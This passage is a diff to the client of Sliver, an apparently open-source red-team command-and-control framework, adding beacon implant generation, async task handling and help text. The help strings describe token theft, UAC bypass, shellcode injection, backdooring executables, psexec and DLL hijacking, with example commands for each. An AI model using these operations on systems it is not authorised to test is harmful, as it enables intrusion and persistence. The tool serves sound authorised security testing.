+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // RmCmd - Remove a directory from the remote file system
 func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -42,14 +44,36 @@ func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
-		Request:   con.ActiveSession.Request(ctx),
+		Request:   con.ActiveTarget.Request(ctx),
 		Path:      filePath,
 		Recursive: ctx.Flags.Bool("recursive"),
 		Force:     ctx.Flags.Bool("force"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if rm.Response != nil && rm.Response.Async {
+		con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, rm)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRm(rm, con)
+		})
+		con.PrintAsyncResponse(rm.Response)
 	} else {
-		con.PrintInfof("%s\n", rm.Path)
+		PrintRm(rm, con)
 	}
 }
+
+// PrintRm - Print the rm response
+func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
+	if rm.Response != nil && rm.Response.Err != "" {
+		con.PrintErrorf("%s\n", rm.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", rm.Path)
+}

client/command/filesystem/upload.go

@@ -26,21 +26,24 @@ import (
 	"path/filepath"
 
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // UploadCmd - Upload a file to the remote system
 func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
 	localPath := ctx.Args.String("local-path")
 	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")
 
 	if localPath == "" {
 		con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -66,16 +69,39 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
 	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    dst,
 		Data:    uploadGzip,
 		Encoder: "gzip",
+		IsIOC:   isIOC,
 	})
 	ctrl <- true
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if upload.Response != nil && upload.Response.Async {
+		con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			con.PrintInfof("Task completed: %s\n\n", task.ID)
+			err = proto.Unmarshal(task.Response, upload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUpload(upload, con)
+		})
+		con.PrintAsyncResponse(upload.Response)
 	} else {
-		con.PrintInfof("Wrote file to %s\n", upload.Path)
+		PrintUpload(upload, con)
 	}
 }
+
+// PrintUpload - Print the result of the upload command
+func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
+	if upload.Response != nil && upload.Response.Err != "" {
+		con.PrintErrorf("%s\n", upload.Response.Err)
+		return
+	}
+	con.PrintInfof("Wrote file to %s\n", upload.Path)
+}

client/command/generate/generate-beacon.go

@@ -0,0 +1,48 @@
+package generate
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	minBeaconInterval         = 15 * time.Second
+	ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
+)
+
+// GenerateBeaconCmd - The main command used to generate implant binaries
+func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
+	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
+	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
+	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	if interval < minBeaconInterval {
+		return ErrBeaconIntervalTooShort
+	}
+	config.BeaconInterval = int64(interval)
+	config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
+	return nil
+}

client/command/generate/generate.go

@@ -30,6 +30,7 @@ import (
 	"path"
 	"path/filepath"
 	"regexp"
+	"runtime"
 	"strings"
 
 	"time"
@@ -61,12 +62,16 @@ const (
 
 	// DefaultReconnect is the default reconnect time
 	DefaultReconnect = 60
-	// DefaultPoll is the default poll interval
-	DefaultPoll = 1
+	// DefaultPollTimeout is the default poll timeout
+	DefaultPollTimeout = 360 // 6 minutes
 	// DefaultMaxErrors is the default max reconnection errors before giving up
 	DefaultMaxErrors = 1000
 )
 
+const (
+	crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
+)
+
 var (
 	// SupportedCompilerTargets - Supported compiler targets
 	SupportedCompilerTargets = map[string]bool{
@@ -77,31 +82,6 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
-
-	// validFormats = []string{
-	// 	"bash",
-	// 	"c",
-	// 	"csharp",
-	// 	"dw",
-	// 	"dword",
-	// 	"hex",
-	// 	"java",
-	// 	"js_be",
-	// 	"js_le",
-	// 	"num",
-	// 	"perl",
-	// 	"pl",
-	// 	"powershell",
-	// 	"ps1",
-	// 	"py",
-	// 	"python",
-	// 	"raw",
-	// 	"rb",
-	// 	"ruby",
-	// 	"sh",
-	// 	"vbapplication",
-	// 	"vbscript",
-	// }
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -230,7 +210,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	}
 
 	reconnectInterval := ctx.Flags.Int("reconnect")
-	pollInterval := ctx.Flags.Int("poll")
+	pollTimeout := ctx.Flags.Int("poll-timeout")
 	maxConnectionErrors := ctx.Flags.Int("max-errors")
 
 	limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
@@ -263,14 +243,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	}
 
 	targetOS := strings.ToLower(ctx.Flags.String("os"))
-	arch := strings.ToLower(ctx.Flags.String("arch"))
-	targetOS, arch = getTargets(targetOS, arch, con)
-	if targetOS == "" || arch == "" {
+	targetArch := strings.ToLower(ctx.Flags.String("arch"))
+	targetOS, targetArch = getTargets(targetOS, targetArch, con)
+	if targetOS == "" || targetArch == "" {
+		return nil
+	}
+	if len(namedPipeC2) > 0 && targetOS != "windows" {
+		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
 	}
 
-	if len(namedPipeC2) > 0 && targetOS != "windows" {
-		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
+	// Check to see if we can *probably* build the target binary
+	if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
 		return nil
 	}
 
@@ -287,7 +271,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
-		GOARCH:           arch,
+		GOARCH:           targetArch,
 		Name:             name,
 		Debug:            ctx.Flags.Bool("debug"),
 		Evasion:          ctx.Flags.Bool("evasion"),
@@ -299,8 +283,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
 
-		ReconnectInterval:   uint32(reconnectInterval),
-		PollInterval:        uint32(pollInterval),
+		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
+		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),
 
 		LimitDomainJoined: limitDomainJoined,
@@ -340,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
 
 	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
 	if _, ok := SupportedCompilerTargets[target]; !ok {
-		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
+		con.Printf("⚠️  Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
 			console.Bold, target, console.Normal,
 		)
-		con.Printf("⚠️  Default implants do not support all commands/features.\n")
-		prompt := &survey.Confirm{Message: "Compile a Default build?"}
+		con.Printf("⚠️  Generic implants do not support all commands/features.\n")
+		prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
 		var confirm bool
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
@@ -491,9 +475,12 @@ func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
 }
 
 func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
-
-	con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
 	if config.ObfuscateSymbols {
 		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
 	} else if !config.Debug {
@@ -555,3 +542,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	}
 	return strings.Join(limits, "; ")
 }
+
+func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	if format == clientpb.OutputFormat_EXECUTABLE {
+		return true // We don't need cross-compilers when targeting EXECUTABLE formats
+	}
+
+	compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintWarnf("Failed to check target compatibility: %s\n", err)
+		return true
+	}
+
+	if runtime.GOOS != "windows" && targetOS == "windows" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "darwin" && targetOS == "darwin" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	if runtime.GOOS != "linux" && targetOS == "linux" {
+		if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
+			return warnMissingCrossCompiler(format, targetOS, targetArch, con)
+		}
+	}
+
+	return true
+}
+
+func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
+	for _, cc := range crossCompilers {
+		if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
+			return true
+		}
+	}
+	return false
+}
+
+func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
+	con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
+	switch targetOS {
+	case "windows":
+		con.PrintWarnf("The server cannot find an installation of mingw")
+	case "darwin":
+		con.PrintWarnf("The server cannot find an installation of osxcross")
+	case "linux":
+		con.PrintWarnf("The server cannot find an installation of musl-cross")
+	}
+	con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
+
+	confirm := false
+	prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
+	survey.AskOne(prompt, &confirm, nil)
+	return confirm
+}

client/command/help/help.go

@@ -45,12 +45,12 @@ func printHelp(con *console.SliverConsoleClient) {
 	groups := make(map[string]*grumble.Commands)
 	for _, c := range con.App.Commands().All() {
 		key := c.HelpGroup
-		if con.ActiveSession.Get() != nil {
-			if con.ActiveSession.Get().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
+		if con.ActiveTarget.GetSession() != nil {
+			if con.ActiveTarget.GetSession().GetOS() != "windows" && key == consts.SliverWinHelpGroup {
 				continue
 			}
 		} else {
-			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
+			if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
 				continue
 			}
 		}

client/command/help/long-help.go

@@ -24,12 +24,17 @@ package help
 
 import (
 	"bytes"
+	"fmt"
 	"strings"
 	"text/template"
 
 	consts "github.com/bishopfox/sliver/client/constants"
 )
 
+const (
+	sep = "."
+)
+
 var (
 
 	// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
@@ -66,30 +71,37 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.LoadExtensionStr:    loadExtensionHelp,
+		consts.LoadMacroStr:        loadMacrosHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
 
-		consts.WebsitesStr:          websitesHelp,
-		consts.ScreenshotStr:        screenshotHelp,
-		consts.MakeTokenStr:         makeTokenHelp,
-		consts.GetEnvStr:            getEnvHelp,
-		consts.SetEnvStr:            setEnvHelp,
-		consts.RegistryWriteStr:     regWriteHelp,
-		consts.RegistryReadStr:      regReadHelp,
-		consts.RegistryCreateKeyStr: regCreateKeyHelp,
-		consts.PivotsListStr:        pivotListHelp,
-		consts.WgPortFwdStr:         wgPortFwdHelp,
-		consts.WgSocksStr:           wgSocksHelp,
-		consts.SSHStr:               sshHelp,
+		consts.WebsitesStr:                  websitesHelp,
+		consts.ScreenshotStr:                screenshotHelp,
+		consts.MakeTokenStr:                 makeTokenHelp,
+		consts.EnvStr:                       getEnvHelp,
+		consts.EnvStr + sep + consts.SetStr: setEnvHelp,
+		consts.RegistryWriteStr:             regWriteHelp,
+		consts.RegistryReadStr:              regReadHelp,
+		consts.RegistryCreateKeyStr:         regCreateKeyHelp,
+		consts.PivotsListStr:                pivotListHelp,
+		consts.WgPortFwdStr:                 wgPortFwdHelp,
+		consts.WgSocksStr:                   wgSocksHelp,
+		consts.SSHStr:                       sshHelp,
+		consts.DLLHijackStr:                 dllHijackHelp,
+		consts.GetPrivsStr:                  getPrivsHelp,
 
 		// Loot
 		consts.LootStr: lootHelp,
 
 		// Profiles
-		consts.ProfilesStr + "." + consts.NewStr:      newProfileHelp,
-		consts.ProfilesStr + "." + consts.GenerateStr: generateProfileHelp,
+		consts.ProfilesStr + sep + consts.NewStr:      newProfileHelp,
+		consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
+
+		// Reactions
+		consts.ReactionStr:                         reactionHelp,
+		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
+		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -161,7 +173,7 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
 Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
-see 'help new-profile'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
+see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
 command.
 `
 	generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate stager <options>
@@ -189,23 +201,23 @@ When a stager calls back to this URL, a sliver corresponding to the said profile
 
 stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
-To create a profile, use the [[.Bold]]new-profile[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
+To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-new-profile --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
 `
 
 	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
-Profiles are an easy way to save a sliver configurate and easily generate multiple copies of the binary with the same
-settings, but will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
-	new-profile --profile-name mtls-profile  --mtls foo.example.com --canary 1.foobar.com
+Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
+settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
+	profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
 	generate-profile mtls-profile
 `
 
 	generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
-[[.Bold]]About:[[.Normal]] Generate a Sliver from a saved profile (see new-profile).`
+[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
 
 	msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
 [[.Bold]]About:[[.Normal]] Execute a metasploit payload in the current process.`
@@ -216,21 +228,45 @@ settings, but will still have per-binary certificates/obfuscation/etc. This comm
 	psHelp = `[[.Bold]]Command:[[.Normal]] ps <options>
 [[.Bold]]About:[[.Normal]] List processes on remote system.`
 
-	pingHelp = `[[.Bold]]Command:[[.Normal]] ping <sliver name/session>
-[[.Bold]]About:[[.Normal]] Ping Sliver by name or the active sliver. This does NOT send an ICMP packet, it just sends an empty 
-c2 message round trip to ensure the remote Sliver is still responding to commands.`
+	pingHelp = `[[.Bold]]Command:[[.Normal]] ping <implant name/session>
+[[.Bold]]About:[[.Normal]] Ping session by name or the active session. This does NOT send an ICMP packet, it just sends a small 
+C2 message round trip to ensure the remote implant is still responding to commands.`
 
-	killHelp = `[[.Bold]]Command:[[.Normal]] kill <sliver name/session>
-[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
+	killHelp = `[[.Bold]]Command:[[.Normal]] kill <implant name/session>
+[[.Bold]]About:[[.Normal]] Kill a remote implant process (does not delete file).`
 
 	lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
-[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
+[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
+
+[[.Bold]][[.Underline]]Sorting[[.Normal]]
+Directory and file listings are sorted by name in ascending order by default.  Listings can also be sorted by size (-s) and modified time (-m).  All sorts can be reversed with -r.
+
+[[.Bold]][[.Underline]]Filters[[.Normal]]
+Filters are a way to limit search results to directory and file names matching given criteria.
+
+Filters are specified after the path.  A blank path will filter on names in the current directory.  For example:
+/etc/passwd will display the listing for /etc/passwd.  "/etc/" is the path, and "passwd" is the filter.
+
+Directory and file listings can be filtered using the following patterns:
+'*': Wildcard, matches any sequence of non-path separators (slashes)
+	Example: n*.txt will match all file and directory names starting with n and ending with .txt
+
+'?': Single character wildcard, matches a single non-path separator (slashes)
+	Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
+
+'[{range}]': Match a range of characters.  Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
+	Example: [a-c] will match the characters a, b, and c.  [a-c]* will match all directory and file names that start with a, b, or c.
+		^[r-u] will match all characters except r, s, t, and u.
+
+If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
+On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
+`
 
 	cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
-[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
+[[.Bold]]About:[[.Normal]] Change working directory of the active session.`
 
 	pwdHelp = `[[.Bold]]Command:[[.Normal]] pwd
-[[.Bold]]About:[[.Normal]] Print working directory of the active Sliver.`
+[[.Bold]]About:[[.Normal]] Print working directory of the active session.`
 
 	mkdirHelp = `[[.Bold]]Command:[[.Normal]] mkdir [remote path]
 [[.Bold]]About:[[.Normal]] Create a remote directory.`
@@ -254,20 +290,20 @@ c2 message round trip to ensure the remote Sliver is still responding to command
 [[.Bold]]About:[[.Normal]] (Windows Only) Run a new process in the context of the designated user`
 
 	impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
-[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
+[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
 
 	revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
 [[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
 
 	elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
-[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
+[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
 
 	executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
 [[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
 `
 
 	executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
-[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
+[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
 
 [[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
 Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -334,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path> 
-[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
-Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
-For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
-Load an extension:
+	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
+Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
+For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
+Load an macro:
 	load /tmp/chrome-dump
-Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
+Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
 chrome-dump
 ├── chrome-dump.dll
 ├── chrome-dump.so
 └── manifest.json
 It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
 {
-  "extensionName":"chrome-dump", // name of the extension, can be anything
-  "extensionCommands":[
+  "macroName":"chrome-dump", // name of the macro, can be anything
+  "macroCommands":[
     {
       "name":"chrome-dump", // name of the command available in the sliver client (no space)
       "entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -360,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
 		  "os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
           "files":{
             "x64":"chrome-dump.dll",
-            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
+            "x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
           }
         },
         {
@@ -392,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
 This command uploads a Sliver binary generated on the fly from a profile.
 The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
 
-To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
+To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -406,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -544,6 +580,89 @@ loot --filter creds
 
 # Display the contents of a piece of loot:
 loot fetch
+`
+
+	reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
+[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
+reactions do not support variables or logic, they simply allow you to run verbatim
+commands when an event occurs. To implement complex event-based logic we recommend
+using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
+[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).  
+
+The built-in reactions do not support variables or logic, they simply allow you to 
+run verbatim commands when an event occurs. To implement complex event-based logic 
+we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
+
+[[.Bold]]Examples:[[.Normal]]
+# The command uses interactive menus to build a reaction. Simply run:
+reaction set
+
+[[.Bold]]Reactable Events:[[.Normal]]
+% 20s  Triggered when a new session is opened to a target
+% 20s  Triggered on changes to session metadata
+% 20s  Triggered when a session is closed (for any reason)
+% 20s  Triggered when a canary is burned or created
+% 20s  Triggered when implants are discovered on threat intel platforms
+% 20s  Triggered when a new piece of loot is added to the server
+% 20s  Triggered when a piece of loot is removed from the server
+	`,
+		consts.SessionOpenedEvent,
+		consts.SessionUpdateEvent,
+		consts.SessionClosedEvent,
+		consts.CanaryEvent,
+		consts.WatchtowerEvent,
+		consts.LootAddedEvent,
+		consts.LootRemovedEvent,
+	)
+
+	reactionUnsetHelp = `[[.Bold]]Command:[[.Normal]] reaction unset
+[[.Bold]]About:[[.Normal]] Unset/remove automated commands in reaction to event(s).
+
+[[.Bold]]Examples:[[.Normal]]
+# Remove a reaction
+reaction unset --id 1
+`
+	dllHijackHelp = `[[.Bold]]Command:[[.Normal]] dllhijack
+[[.Bold]]About:[[.Normal]] Prepare and plant a DLL on the remote system for a hijack scenario.
+The planted DLL will have its export directory modified to forward the exports to a reference DLL
+on the remote system.
+The DLL used for the hijack can either be a file on the operator's system or built from a Sliver profile,
+supplied with the --profile flag.
+
+[[.Bold]]Examples:[[.Normal]]
+# Use a local DLL for a hijack
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a Sliver generated DLL for the hijack
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
+
+# Use a local DLL as the reference DLL
